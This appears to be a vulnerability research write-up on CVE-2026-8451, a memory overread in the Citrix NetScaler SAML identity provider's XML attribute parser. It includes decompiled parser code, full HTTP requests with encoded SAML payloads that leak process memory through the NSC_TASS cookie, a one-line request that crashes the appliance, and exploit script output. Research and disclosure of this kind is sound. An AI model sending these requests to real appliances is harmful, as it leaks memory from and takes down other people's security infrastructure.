Yes, that\u2019s right – today, a Secure By Design promise ring pledge commitment hall-of-famer is back to haunt us as Citrix has now publicly disclosed the zero-day Memory Disclosure vulnerability we reported in March 2026.<\/p>\n
We\u2019ve given up counting the numbers, and so we\u2019ve decided to call this vulnerability \u201cCitrixBleed To Infinity And Beyond\u201d:<\/p>\n
![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-34.png\")
<\/p>\n
Referencing what we wrote previously, because it is demonstrably evergreen:<\/p>\n
However, what should be of concern is the bigger picture – the trend, which is very clearly suggesting that memory management continues to appear fragile within Citrix NetScaler appliances, to the extent that even accidentally misconfiguring an appliance can lead to the disclosure of leaked memory.It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders – within, once again, what many will consider a highly-critical appliance and security control.Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme\u2026![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-32.png\")
What Is Citrix NetScaler and NetScaler Gateway?<\/p>\n
Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access – and NetScaler Gateway specifically serves as the front door for thousands of organizations’ remote access infrastructure.<\/p>\n
It is, in other words, exactly the kind of product we love to look at, while also being a natural disaster.<\/p>\n
What Is CVE-2026-8451?<\/p>\n
Citrix eloquently describes CVE-2026-8451 as: \u201cInsufficient input validation leading to memory overread\u201d.<\/p>\n
Naturally, they\u2019ve assigned CVE-2026-8451 to the vulnerability and rated it a CVSS of 8.8. Of note is that for this vulnerability to be exploitable, matching CitrixBleed3?4?, the NetScaler appliance has to be configured as a SAML IDP.<\/p>\n
Within their advisory, Citrix states the following products are affected:<\/p>\n
NetScaler ADC and NetScaler Gateway\u202f14.1\u202fBEFORE 14.1-72.61NetScaler ADC and NetScaler Gateway\u202f13.1\u202fBEFORE 13.1-63.18NetScaler ADC FIPS BEFORE 14.1-72.61 FIPSNetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272<\/p>\n
Let\u2019s dive in.<\/p>\n
Hunting (Unfortunately Not) Rare Vulnerabilities<\/p>\n
It was a late night in Pallet Town, and we, the intrepid hero, were searching for rare Pok\u00e9mon vulnerabilities in the long grass of the Citrix NetScaler.<\/p>\n
Doing \u201cwhat we do best\u201d, back in March we found ourselves feverishly analyzing patches and changes to reproduce CVE-2026-3055 aka CitrixBleed4(?) affecting NetScaler\u2019s configured as an IDP provider.<\/p>\n
![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-33.png\")
<\/p>\n
With a NetScaler up and running, configured as an SAML IdP, we skimmed through relevant attack surface. We say skimmed, because in reality, SAML itself doesn’t expose a huge amount of functionality for us to poke prod – effectively a handful of authentication endpoints, and not much else (intended, anyway).<\/p>\n
Thus, it seemed natural to start at the beginning: \/saml\/login.<\/p>\n
Anyone familiar with SAML will know that clients kick off authentication by submitting a base64-encoded XML document to an endpoint like this. Buried inside that XML document is an AuthnRequest, which describes everything the identity provider needs to know, including the issuer, destination, timestamps, and a handful of other attributes.<\/p>\n
With nothing else to catch our attention, we decided to take what we were given and focus here.<\/p>\n
As anyone who has spent time hunting vulnerabilities will tell you, after hopefully recovering, XML parsers are deceptively difficult to implement correctly. Even experienced developers (and others.. that sign pledges\u2026) generally know better to not do anything else except rely on well-tested libraries.<\/p>\n
Citrix, however, appears to have chosen a different path. To ensure allegiance to the pledge.<\/p>\n
The result is delightful snippets like the following, taken from the code responsible for parsing XML attributes such as foo=”bar”:<\/p>\n
cursor = <\/p>\n
whitespaceCharList = 0x100002600;<\/p>\n
\/\/ Skip leading whitespace
\nfor ( lookahead = (v32 + 28); ; lookahead++ )
\n{
\n\tch = *cursor;
\n\tif ( ch > ‘=’ )
\n\t\tbreak;
\n\tif ( !_bittest64(&whitespaceCharList, ch) )
\n\t{
\n\t\tif ( ch == ‘=’ )
\n\t\t{
\n\t\t\twhile ( 1 )
\n\t\t\t{
\n\t\t\t\tch = *lookahead;
\n\t\t\t\tif ( ch > 0x20 || !_bittest64(&whitespaceCharList, ch) )
\n\t\t\t\t\tbreak;
\n\t\t\t\t++lookahead;
\n\t\t\t}
\n\t\t\tcursor = lookahead;
\n\t\t}
\n\t\tbreak;
\n\t}
\n\t++cursor;
\n}<\/p>\n
\/\/ Determine how the value is quoted. This accepts both single and double quotes, or
\n\/\/ no quotes at all (in which case, the value is terminated by whitespace).
\nif ( ch == ‘\\” || ch == ‘”‘ )
\n{
\n\tterminator = ch;
\n\tfirst = *++cursor;
\n}
\nelse
\n{
\n\tterminator=” “;
\n\tfirst = ch;
\n}
\nif ( first == terminator )
\n\treturn 0xE0002;\t\t\/\/ The value is empty.<\/p>\n
\/\/ Now walk forward until we find the terminator.
\nscanPos = cursor;
\nwhile ( first != ‘\\0’ && first != ‘>’ )
\n{
\n\tscanPos++;
\n\tfirst = *scanPos;
\n\tif (first == terminator)
\n\t\tbreak
\n}<\/p>\n
if ( scanPos == cursor )
\n\treturn 0xE0002;\t\t\/\/ the value is empty.<\/p>\n
out->value_ptr = cursor;
\nout->value_len = scanPos – cursor;<\/p>\n
The first thing that probably jumps out is the slightly odd-looking _bittest64() call.<\/p>\n
Fortunately, it isn’t doing anything particularly exotic.<\/p>\n
It simply checks whether a character belongs to a predefined set, encoded as bit positions within the constant 0x100002600. In practice, that means it matches the characters 0x09, 0x0A, 0x0D, and 0x20, which correspond to horizontal tab, line feed, carriage return, and space.<\/p>\n
There is one subtle detail. ASCII values range from 0 to 255, while the lookup table is only 64 bits wide. The > 0x20 check exists to avoid indexing beyond the end of that table.<\/p>\n
The comments should make the rest of the function fairly easy to follow. Its job is simply to locate the value portion of an XML attribute and return both a pointer to the value and its length.<\/p>\n
It also looks… a little questionable. If your promise ring isn\u2019t reverberating yet, you should probably charge it. As we\u2019ve regularly seen and been forced to dea with, string parsing code has a habit of hiding subtle bugs – and surprise, this implementation has a few characteristics that immediately made us suspicious.<\/p>\n
For example, there are no obvious bounds checks. If the input is malformed enough, it looks entirely possible for the parser to read past the end of the input buffer. What happens if an attribute value is never terminated?<\/p>\n
But things get even stranger when you look at the parser’s termination logic.<\/p>\n
Throughout most of the function, _bittest64() is used to recognize the characters that terminate a value. However, there is one special case: unquoted attribute values.<\/p>\n
In that path, whitespace is no longer treated as a terminator. Instead, the parser only stops when it encounters a null byte, a closing >, or the matching quote character.<\/p>\n
That difference might seem insignificant, but it turns out to matter quite a bit (no way!).<\/p>\n
A Wild NetScaler Appears! watchTowr used \u201cMean Look To See If It Falls Over\u201d.<\/p>\n
Having seen the quality of XML parsers in general, let alone Citrix\u2019s track record that we\u2019ve already discussed, we did what anyone would do – we let our small pets walk across our keyboards, and watched for unexpected intended functionality.<\/p>\n
Fortunately, NetScaler makes this fairly easy (we supplied the pets).<\/p>\n
A quick shell command drops you into the underlying operating system, where you can simply tail the relevant log file:<\/p>\n
\/var\/log\/ns.log<\/p>\n
That gives us a front-row seat to exactly how the parser interprets our input.<\/p>\n
We’ll start with a minimal SAML AuthnRequest. It gives us a clean baseline before we begin progressively breaking things and observing how the parser responds:<\/p>\n
\turn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<\/p>\n
After base64-encoding the request and sending it, we keep one eye on the logs and one eye on the debugger. As expected, NetScaler parses each of the values correctly:<\/p>\n
POST \/saml\/login HTTP\/1.1
\nHost: all-ur-boxen.com
\nContent-Length: 1090<\/p>\n
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCAKCXhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIAoJeG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgCglJRD0iXzk5ZDNlNzExMThmNDIzMDVlMDVhY2IxNGFkMGJkOTE3IiAKCVZlcnNpb249IjIuMCIgCglQcm92aWRlck5hbWU9IlNQIHRlc3QiIAoJRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIAoJUHJvdG9jb2xCaW5kaW5nPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YmluZGluZ3M6SFRUUC1QT1NUIiAKCUFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0iaHR0cDovL3NwLmV4YW1wbGUuY29tL2RlbW8xL2luZGV4LnBocD9hY3MiPgoJPHNhbWw6SXNzdWVyPmh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPgoJPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KCTxzYW1scDpSZXF1ZXN0ZWRBdXRobkNvbnRleHQgQ29tcGFyaXNvbj0iZXhhY3QiPgoJPHNhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L3NhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bCgk8L3NhbWxwOlJlcXVlc3RlZEF1dGhuQ29udGV4dD4KPC9zYW1scDpBdXRoblJlcXVlc3Q%2b<\/p>\n
The HTTP response is just a 302 (honestly, it\u2019s contents are not particularly interesting, so we have omitted them):<\/p>\n
HTTP\/1.1 302 Object Moved
\nLocation: \/vpn\/index.html
\nSet-Cookie: NSC_TASS=YXNkZgBJRD1fOTlkM2U3MTExOGY0MjMwNWUwNWFjYjE0YWQwYmQ5MTcmYmluZD1wb3N0JkFDU1VSTD1odHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcwA=;HttpOnly;Path=\/;Secure
\nContent-Security-Policy: default-src ‘self’; script-src ‘self’; connect-src ‘self’; img-src :* ‘self’ data:; style-src ‘self’ ‘unsafe-inline’; font-src ‘self’ data:; frame-src ‘self’; child-src ‘self’ com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action ‘self’; object-src ‘none’; base-uri ‘self’; report-uri \/nscsp_violation\/report_uri
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nX-Content-Type-Options: nosniff
\nX-XSS-Protection: 1; mode=block
\nContent-Length: 398
\nCache-control: no-cache, no-store, must-revalidate
\nPragma: no-cache
\nContent-Type: text\/html; charset=utf-8<\/p>\n
<\/a><\/p>\n And in our friendly logs\u2026.:<\/p>\n AuthnReq start tag parsed, id=<_99d3e71118f42305e05acb14ad0bd917>, So far, nothing particularly surprising. NetScaler successfully extracts the ID and AssertionConsumerServiceURL attributes, while ForceAuthn falls back to its default value.<\/p>\n However, we were still deeply suspicious of the attribute parser. Earlier, we pointed out that unquoted attribute values are terminated differently from quoted ones. With not much faith left in humanity, we wondered what would happen if we used a newline to terminate one.<\/p>\n There was only one way to find out – yes, the pets were asked to walk across our keyboards, again.<\/p>\n watchtowr<\/p>\n This time, we’ve replaced the space after AssertionConsumerServiceURL with a newline.<\/p>\n Once again, we base64-encode the document and POST it to \/saml\/login:<\/p>\n POST \/saml\/login HTTP\/1.1 SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0xMQppZD0yMj4KPHNhbWw6SXNzdWVyPndhdGNodG93cjwvc2FtbDpJc3N1ZXI%2bCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg==<\/p>\n The response is practically the same as before:<\/p>\n HTTP\/1.1 302 Object Moved <\/a><\/p>\n With the log file\u2026 not being so coy:<\/p>\n AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=, That’s… interesting.<\/p>\n You might have to read the log twice before it jumps out at you.<\/p>\n Notice that the acs value has been parsed as:<\/p>\n 11 id=22<\/p>\n That is clearly wrong. Looking at the XML we sent, the value should simply be 11.<\/p>\n Instead, the parser has read past the correct end of the attribute, failed to recognize the newline as a valid terminator (exactly as we suspected), and continued consuming input until it eventually encountered the > terminating the AuthnRequest start tag.<\/p>\n Then, things became even more interesting.<\/p>\n As we saw earlier, this XML parser is surprisingly relaxed about what constitutes a valid closing tag. In particular, it is happy to accept a < as the terminator for an AuthnRequest start tag instead of the expected >.<\/p>\n That means we can take things one step further. If we terminate both AssertionConsumerServiceURL and ID with newlines, and leave the opening AuthnRequest tag unclosed, we end up with the following request:<\/p>\n watchtowr<\/p>\n Let\u2019s base64 and send it on its way:<\/p>\n POST \/saml\/login HTTP\/1.1 SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0KaWQ9CjxzYW1sOklzc3Vlcj53YXRjaHRvd3I8L3NhbWw6SXNzdWVyPgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=<\/p>\n The response is, again, uninteresting:<\/p>\n HTTP\/1.1 302 Object Moved <\/a><\/p>\n .. but the generated log is far from boring:<\/p>\n AuthnReq start tag parsed, id=<, acs=, So far, our theory holds up.<\/p>\n The AssertionConsumerServiceURL value is not terminated at the newline. Instead, the parser keeps reading until it encounters the > from the closing Issuer tag. The ID attribute behaves exactly the same way.<\/p>\n At this point, it is pretty clear that we have an overread. The parser is reading well beyond the intended bounds of each attribute value. We are still only reading XML that happens to be present in the input buffer, but the parser is clearly consuming far more data than it should.<\/p>\n That is already interesting, but the obvious question is: \u201cDo we lease our bug-hunting pets?\u201d Sometimes.<\/p>\n The other question you may be inclined to ask, may resemble the following: \u201cWhere does all of this overread data end up?<\/p>\n To answer that, we need to look at what this function actually produces.<\/p>\n On success, it returns an HTTP response containing an NSC_TASS cookie. Among other things, this cookie stores the ID and AssertionConsumerServiceURL values that were parsed from the incoming XML request:<\/p>\n NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==<\/p>\n This decodes to:<\/p>\n 00000000 61 73 64 66 00 49 44 3d 3c 73 61 6d 6c 3a 49 73 |asdf.ID=<\/p>\n asdf is simply the configured provider name. The interesting part is everything that follows.<\/p>\n You can see the values parsed from our XML request being embedded directly into the cookie. The ID field now contains , and the ACSURL field has similarly consumed data well beyond the intended attribute value.<\/p>\n Shock – we are once again miserable about the world (we say, fiddling with our promise rings).<\/p>\n We\u2019ve so far demonstrated what nobody needed a crystal ball to predict – the NetScaler appliance is willing to return data it never should have associated with those attributes. So far, though, the overread is still confined to our own request buffer.<\/p>\n The next challenge is obvious: instead of reading within the request, can we make it read beyond the end of the request?<\/p>\n We spent quite a while trying to figure out how to push the parser past the end of the request buffer. After a healthy amount of trial and error, we concluded that our login request to \/saml\/login needed to satisfy a few conditions:<\/p>\n It must contain both a and a corresponding . We can’t simply leave the request unterminated.It must contain a valid watchtowr.It must contain either an AssertionConsumerServiceURL= or ID attribute terminated by a newline, or not terminated at all.<\/p>\n At first glance, those requirements seem mutually exclusive.<\/p>\n They aren’t.<\/p>\n By this point, we’d already learned just how forgiving the parser was. We’d shown that the opening AuthnRequest tag didn’t actually need a closing >, but we also discovered something even stranger: the parser was surprisingly relaxed about element nesting.<\/p>\n For example:<\/p>\n watchtowr<\/p>\n Here we\u2019ve got the same request as before – but this time, the Issuer is moved outside the AuthnRequest.<\/p>\n Any sane parser would reject this, but we\u2019re not dealing with sanity. Of course, the NetScaler appliance actually accepts it.<\/p>\n AuthnReq start tag parsed, id=<22 , acs=<11 id=22 , forceAuth=<0>, binding=<\/p>\n One important detail is that this only works if the opening AuthnRequest tag is left unterminated. If it is closed normally, the parser rejects the document, strongly suggesting the behavior we\u2019re observing is tied to the parser’s attribute-handling logic.<\/p>\n Once we realized that, we started experimenting a little more. It turns out the parser is surprisingly tolerant of attribute ordering as well. For example:<\/p>\n watchtowr<\/p>\n Version=”2.0″ This yields a successful response – although the extracted details are incorrect:<\/p>\n AuthnReq start tag parsed, id=<>, acs=<22>, forceAuth=<0>, binding=<\/p>\n You might note that the acs value returned is correct – 22 – because we\u2019ve carefully enclosed the value in the request in quotes.<\/p>\n What happens if we can make the parser overread past the end of the request buffer instead?<\/p>\n watchtowr<\/p>\n Version=”2.0″ And in our favorite log\u2026:<\/p>\n AuthnReq start tag parsed, id=<>, acs=<\u2592^M\u2592\uffad\u2592=”2.0″ id=”11″ OH HO HO. Finally, we\u2019re almost there!<\/p>\n The parser is no longer just reading extra XML. It’s pulling arbitrary binary data from beyond the end of the XML buffer and happily appending it to the parsed value.<\/p>\n The only question left is whether that value makes it all the way back to us via the NSC_TASS cookie we looked at earlier:<\/p>\n NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSIyMiLvvq3ebXBsZS5jb20vZGVtbzEvaW5kZXgucGhwPC9zYW1sOklzc3VlcgA=<\/p>\n And decoded\u2026:<\/p>\n 00000000 61 73 64 66 00 49 44 3d 26 62 69 6e 64 3d 70 6f |asdf.ID=&bind=po| Finally!<\/p>\n Take a look at the ACSURL value. It now contains binary data that should never have been returned to us, including the unmistakable 0xdeadbeef fill pattern.<\/p>\n Our overread has worked.<\/p>\n The parser has read beyond the end of the XML buffer, and we’ve successfully tricked NetScaler into returning memory that was never supposed to leave the process. Completely unpredictably.<\/p>\n It\u2019s never done that before (lol)<\/p>\n One thing we\u2019re keen to note: in contrast to the original CVE-2026-0050, in which kilobytes of binary data can be leaked, this overread will terminate the out-of-bounds read when various control characters are read, such as NULL (or even >).<\/p>\n In practice, we found that by varying the request length, we could consistently squeeze a few bytes out of the server:<\/p>\n c:\\>python watchTowr-vs-Netscaler-CVE-2026-8451.py There\u2019s clearly data leaking here (0xf00d!) and, interestingly, what appears to be a data pointer (0xa10ca7ed).<\/p>\n We can’t say with certainty what this pointer references, but it certainly looks plausible. If it is a valid process pointer, then this bug graduates from a simple information disclosure to a genuine infoleak primitive. Paired with a suitable memory corruption vulnerability, it could be exactly the kind of building block needed for a full device compromise.<\/p>\n Of course, if you’re more interested in demonstrating impact than building exploit chains, there is a much easier route, as naturally in enterprise-grade security appliances, requests as simple as the following are enough to reliably crash the target system:<\/p>\n POST \/saml\/login HTTP\/1.1 SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D<\/p>\n This request causes the nsppe process to “crash out”:<\/p>\n As always, we\u2019re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments.\u00a0It can be found on our GitHub here<\/a>.<\/p>\n c:\\>python watchTowr-vs-Netscaler-CVE-2026-8451.py We get to eat tonight!<\/p>\n Timeline<\/p>\n Date 28th March 2026 28th March 2026 30th April 2026 7th May 2026 7th May 2026 14 June 2026 25th June 2026 30th June 2026 30th June 2026 The research published by watchTowr Labs<\/a> is powered by the same engine behind the watchTowr Platform<\/a>, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.<\/p>\n
\nacs=, forceAuth=<0>, binding=,
\nfollowing data ” ProtocolBinding=”urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST” AssertionConsumerServiceURL=””<\/p>\n
\nHost: 192.168.80.125
\nContent-Length: 190<\/p>\n
\nLocation: \/vpn\/index.html
\nSet-Cookie: NSC_TASS=YXNkZgBJRD0yMiZiaW5kPXBvc3QmQUNTVVJMPTExCmlkPTIyAA==;HttpOnly;Path=\/;Secure
\nContent-Security-Policy: default-src ‘self’; script-src ‘self’; connect-src ‘self’; img-src :* ‘self’ data:; style-src ‘self’ ‘unsafe-inline’; font-src ‘self’ data:; frame-src ‘self’; child-src ‘self’ com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action ‘self’; object-src ‘none’; base-uri ‘self’; report-uri \/nscsp_violation\/report_uri
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nX-Content-Type-Options: nosniff
\nX-XSS-Protection: 1; mode=block
\nContent-Length: 398
\nCache-control: no-cache, no-store, must-revalidate
\nPragma: no-cache
\nContent-Type: text\/html; charset=utf-8<\/p>\n
\nfollowing data Version=”2.0″ AssertionConsumerServiceURL=11 id=22> watchtowr <\/p>\n
\nHost: 192.168.80.125
\nContent-Length: 180<\/p>\n
\nLocation: \/vpn\/index.html
\nSet-Cookie: NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==;HttpOnly;Path=\/;Secure
\nContent-Security-Policy: default-src ‘self’; script-src ‘self’; connect-src ‘self’; img-src :* ‘self’ data:; style-src ‘self’ ‘unsafe-inline’; font-src ‘self’ data:; frame-src ‘self’; child-src ‘self’ com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action ‘self’; object-src ‘none’; base-uri ‘self’; report-uri \/nscsp_violation\/report_uri
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
\nX-Content-Type-Options: nosniff
\nX-XSS-Protection: 1; mode=block
\nContent-Length: 398
\nCache-control: no-cache, no-store, must-revalidate
\nPragma: no-cache
\nContent-Type: text\/html; charset=utf-8<\/p>\n
\nforceAuth=<0>, binding=, following data Version=”2.0″ AssertionConsumerServiceURL= id= watchtowr <\/p>\n![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-35.png\")
Reading Into The Unknown<\/p>\n
\nid=”11″
\nAssertionConsumerServiceURL=”22″<\/p>\n
\nid=”11″
\nAssertionConsumerServiceURL=<\/p>\n
\nAssertionConsumerServiceURL=”22″\uffad\u2592mple.com\/demo1\/index.php,
\nforceAuth=<0>, binding=
\n![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-36.png\")
<\/p>\n
\n00000010 73 74 26 41 43 53 55 52 4c 3d f0 0d 90 ef be ad |st&ACSURL=……|
\n00000020 de 3d 22 32 2e 30 22 0a 69 64 3d 22 31 31 22 0a |.=”2.0″.id=”11″.|
\n00000030 41 73 73 65 72 74 69 6f 6e 43 6f 6e 73 75 6d 65 |AssertionConsume|
\n00000040 72 53 65 72 76 69 63 65 55 52 4c 3d 22 32 32 22 |rServiceURL=”22″|
\n00000050 ef be ad de 6d 70 6c 65 2e 63 6f 6d 2f 64 65 6d |….mple.com\/dem|
\n00000060 6f 31 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 73 61 |o1\/index.php<\/p>\n![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-37.png\")
<\/p>\n
\n..
\nLeaked bytes:
\n00000000 f0 0d 90 de de de de de de de de de de de de de |…………….|
\n00000010 de de de de de de de de de de de de de de de de |…………….|
\n00000020 de de de de de de de de de de de de de de de de |…………….|
\n00000030 de de de de de de de de de de de de de de de de |…………….|
\n00000040 de de de de de de de de de de de de de de ed a7 |…………….|
\n00000050 0c a1 35 00 |..5.|
\n..<\/p>\n
\nHost: 192.168.80.125
\nContent-Length: 46<\/p>\n![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-38.png\")
![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-39.png\")
Detection Artefact Generator<\/p>\n
\n..
\nLeaked bytes:
\n00000000 f0 0d 90 de de de de de de de de de de de de de |…………….|
\n00000010 de de de de de de de de de de de de de de de de |…………….|
\n00000020 de de de de de de de de de de de de de de de de |…………….|
\n00000030 de de de de de de de de de de de de de de de de |…………….|
\n00000040 de de de de de de de de de de de de de de ed a7 |…………….|
\n00000050 0c a1 35 00 |..5.|
\n..
\nThanks, PolyMarket![\"\"](\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-40.png\")
<\/p>\n
\nDetail<\/p>\n
\nwatchTowr discovers issue, notifies Citrix and affected clients<\/p>\n
\nCitrix responds with what appears to be an automatic reply<\/p>\n
\nwatchTowr requests update from Citrix<\/p>\n
